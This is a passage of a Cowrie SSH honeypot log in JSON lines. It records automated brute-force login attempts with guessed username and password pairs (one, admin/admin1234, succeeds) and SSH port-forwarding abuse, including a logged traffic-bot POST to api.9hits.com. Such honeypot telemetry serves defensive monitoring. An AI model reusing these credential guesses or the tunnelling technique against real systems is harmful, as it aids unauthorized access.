16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:45.112396Z","src_ip":"91.92.40.36","session":"452a25ab253c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":62820,"dst_ip":"159.203.135.109","dst_port":22,"session":"03eabb617335","protocol":"ssh","message":"New connection: 91.92.40.36:62820 (159.203.135.109:22) [session: 03eabb617335]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:46.744983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:47.668117Z","src_ip":"91.92.40.36","session":"03eabb617335","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:47.684282Z","src_ip":"91.92.40.36","session":"03eabb617335","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":45500,"dst_ip":"10.17.0.5","dst_port":22,"session":"df4864a6ee22","protocol":"ssh","message":"New connection: 27.71.230.31:45500 (10.17.0.5:22) [session: df4864a6ee22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:49.488390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:49.530191Z","src_ip":"27.71.230.31","session":"df4864a6ee22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:49.802220Z","src_ip":"27.71.230.31","session":"df4864a6ee22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"autodiscovery","password":"123456","message":"login attempt [autodiscovery/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:51.443774Z","src_ip":"91.92.40.36","session":"452a25ab253c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shivani","password":"shivani","message":"login attempt [shivani/shivani] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:51.918622Z","src_ip":"91.92.40.36","session":"03eabb617335","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":62854,"dst_ip":"159.203.135.109","dst_port":22,"session":"592d149171f6","protocol":"ssh","message":"New connection: 91.92.40.36:62854 (159.203.135.109:22) [session: 592d149171f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:53.240593Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@Password","message":"login attempt [root/!@Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:54.141568Z","src_ip":"27.71.230.31","session":"df4864a6ee22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.9","message":"Connection lost after 7.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:54.600791Z","src_ip":"91.92.40.36","session":"03eabb617335","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:54.744171Z","src_ip":"91.92.40.36","session":"592d149171f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:54.747546Z","src_ip":"91.92.40.36","session":"592d149171f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.8","message":"Connection lost after 13.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:55.150750Z","src_ip":"91.92.40.36","session":"452a25ab253c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jiafenglin","password":"jiafenglin","message":"login attempt [jiafenglin/jiafenglin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:00.129883Z","src_ip":"91.92.40.36","session":"592d149171f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":41194,"dst_ip":"10.17.0.5","dst_port":22,"session":"18d7e230b0be","protocol":"ssh","message":"New connection: 194.113.233.25:41194 (10.17.0.5:22) [session: 18d7e230b0be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:01.633937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:01.638482Z","src_ip":"194.113.233.25","session":"18d7e230b0be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:01.730612Z","src_ip":"194.113.233.25","session":"18d7e230b0be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.7","message":"Connection lost after 8.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:01.969108Z","src_ip":"91.92.40.36","session":"592d149171f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"29121993","message":"login attempt [root/29121993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:02.014047Z","src_ip":"194.113.233.25","session":"18d7e230b0be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":51232,"dst_ip":"10.17.0.5","dst_port":22,"session":"97135608e2a0","protocol":"ssh","message":"New connection: 113.164.152.20:51232 (10.17.0.5:22) [session: 97135608e2a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:02.150176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:02.221305Z","src_ip":"113.164.152.20","session":"97135608e2a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:02.507021Z","src_ip":"113.164.152.20","session":"97135608e2a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:03.135723Z","src_ip":"194.113.233.25","session":"18d7e230b0be","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:03.724363Z","src_ip":"113.164.152.20","session":"97135608e2a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":50494,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e4a3ccc94aa","protocol":"ssh","message":"New connection: 91.92.40.36:50494 (159.203.135.109:22) [session: 6e4a3ccc94aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:04.110737Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:04.522460Z","session":"97135608e2a0","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:04.567955Z","src_ip":"91.92.40.36","session":"6e4a3ccc94aa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:04.578138Z","session":"97135608e2a0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:05.122978Z","src_ip":"113.164.152.20","session":"97135608e2a0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/9.1.2 Safari/603.3.8\\r\\nConnection: keep-alive\\r\\nContent-Length: 1158\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=PmNQM1lFfmdBY1FoeWopOA%3D%3DdAZdazrmSd4Dd1oVG2q2ZV7t5ApYCiBXO2smZsOfZ3oSANk9AQuCSzyJ7ugG19MXypQOV4F2aFm3EVLuPrfSUB03KKq3vjSm0Fz%2Fq3kfqBhpv57zZd81kJWYv5u9KpZvJDCmBeYV65NdI3wMSKjoXQYpz5nBtQf5e3qrf%2FMIbr6uKVHrrk%2BSHvlaxtd0kb1Y7%2B0peXNNhg2Vgq%2FBeGF0JhNQl8p3259DLtsaLa%2FGhTk%2F%2FkcrDrj6pd80s982HGMvxrcdhTNm2o9KeDg4%2B1X7dwAUiLAy6brGIqzlega2yJmWETjeqSn3avUV%2FUGnxP9CuCkbafRGKRQ8fZ7pWLQIykM7aXCd2e3%2FeMQ5CPJ9pm3bg8sit5u2W6586PeAdCJ3nFBLK%2B8RHpKG5a201qPJ4pmFIR1sSxeCnvcxHeyYaK2pxWgnptPN74VrQDeHJ8Ekk4z6x9H3iMeS9b5tfFexlPbwsdT%2BRUXC4bQQtq1Dd7%2BzcKZj38u0VlZCE4m58AMwZD1MCXPiL8c1wSZG8HixYzzPHyEhZotrvh7N05Ny0ivXncAKpTx%2B9lEWYr7V5nSy5KcPBESM0hvqD9OrQTlLcfzAjoL3aEqOeTf%2Fg2JdUtQNBV9ITpXznH6EFXE4TCmq%2FFnR4grAJ9lGwTbWg06IEui5EYTiu1ooEWfzNk1azR9EpqZq4O7%2BIEwFetzl%2Bj283hTDeJb0r%2BDkRmXiMcZwfXb21TCD5wuUtgCTl4SdHQUEvKZp9HYU9ZXA1YGIGE2McLRxG%2Fughs44jq0ImtNIuM9HqSkxo1rpgG%2FN8Qjc7KpecXSHu8nvJivKfvwPvsh%2FtZ8EU1NOINfDfMsdrLtLwp%2Bd891pKkx%2FN1cUj2OTbbMxnIzvWu4p%2B3bVqIZMEcYAUofc07kAih4gYhGer3IUFOCxUqNgGOLFVdds6BsKIPA4m2sTj0i1E9fq4XMWDx4lWuzlW44V%2FDlA8tYO6Yx6O0TVns3oboGEqEXSGibXCPPr%2FphXaRT71sspLJKj8KGRV8UoodXOVmDtergLPEFFof8XYBehlYnHFAHWoK9IE%2Bg%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/9.1.2 Safari/603.3.8\\r\\nConnection: keep-alive\\r\\nContent-Length: 1158\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=PmNQM1lFfmdBY1FoeWopOA%3D%3DdAZdazrmSd4Dd1oVG2q2ZV7t5ApYCiBXO2smZsOfZ3oSANk9AQuCSzyJ7ugG19MXypQOV4F2aFm3EVLuPrfSUB03KKq3vjSm0Fz%2Fq3kfqBhpv57zZd81kJWYv5u9KpZvJDCmBeYV65NdI3wMSKjoXQYpz5nBtQf5e3qrf%2FMIbr6uKVHrrk%2BSHvlaxtd0kb1Y7%2B0peXNNhg2Vgq%2FBeGF0JhNQl8p3259DLtsaLa%2FGhTk%2F%2FkcrDrj6pd80s982HGMvxrcdhTNm2o9KeDg4%2B1X7dwAUiLAy6brGIqzlega2yJmWETjeqSn3avUV%2FUGnxP9CuCkbafRGKRQ8fZ7pWLQIykM7aXCd2e3%2FeMQ5CPJ9pm3bg8sit5u2W6586PeAdCJ3nFBLK%2B8RHpKG5a201qPJ4pmFIR1sSxeCnvcxHeyYaK2pxWgnptPN74VrQDeHJ8Ekk4z6x9H3iMeS9b5tfFexlPbwsdT%2BRUXC4bQQtq1Dd7%2BzcKZj38u0VlZCE4m58AMwZD1MCXPiL8c1wSZG8HixYzzPHyEhZotrvh7N05Ny0ivXncAKpTx%2B9lEWYr7V5nSy5KcPBESM0hvqD9OrQTlLcfzAjoL3aEqOeTf%2Fg2JdUtQNBV9ITpXznH6EFXE4TCmq%2FFnR4grAJ9lGwTbWg06IEui5EYTiu1ooEWfzNk1azR9EpqZq4O7%2BIEwFetzl%2Bj283hTDeJb0r%2BDkRmXiMcZwfXb21TCD5wuUtgCTl4SdHQUEvKZp9HYU9ZXA1YGIGE2McLRxG%2Fughs44jq0ImtNIuM9HqSkxo1rpgG%2FN8Qjc7KpecXSHu8nvJivKfvwPvsh%2FtZ8EU1NOINfDfMsdrLtLwp%2Bd891pKkx%2FN1cUj2OTbbMxnIzvWu4p%2B3bVqIZMEcYAUofc07kAih4gYhGer3IUFOCxUqNgGOLFVdds6BsKIPA4m2sTj0i1E9fq4XMWDx4lWuzlW44V%2FDlA8tYO6Yx6O0TVns3oboGEqEXSGibXCPPr%2FphXaRT71sspLJKj8KGRV8UoodXOVmDtergLPEFFof8XYBehlYnHFAHWoK9IE%2Bg%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:05.126570Z","src_ip":"113.164.152.20","session":"97135608e2a0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:05.132769Z","src_ip":"113.164.152.20","session":"97135608e2a0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x02\\xfd/0 \\xc8\\xe1\\xa6\\n\\xa8\\xcb\\x8b;\\x9dKc!P\\x8e\\xca\\xa7\\x1bX*\\xa3\\xaf\\x99\\xa7\\x18\\xdc\\x1d\\x12 ?Ti\\xb7=\\xebhY\\xc7B\\x9a\\x01fh@R\\xd0\\t<\\xf7l)\\xc4\\x9av%h\\x8a\\x93\\x02\\xd7/\\x00 \\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 &\\xa9\\xd8\\xc8I\\x18\\xeci\\xa0;\\xe6\\xf5\\xb7\\xd2\\xc3{\\xc91(\\x89\\xa6\\x0fT\\xca\\xdb\\xc6F7\\xcc@\\x1a<\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\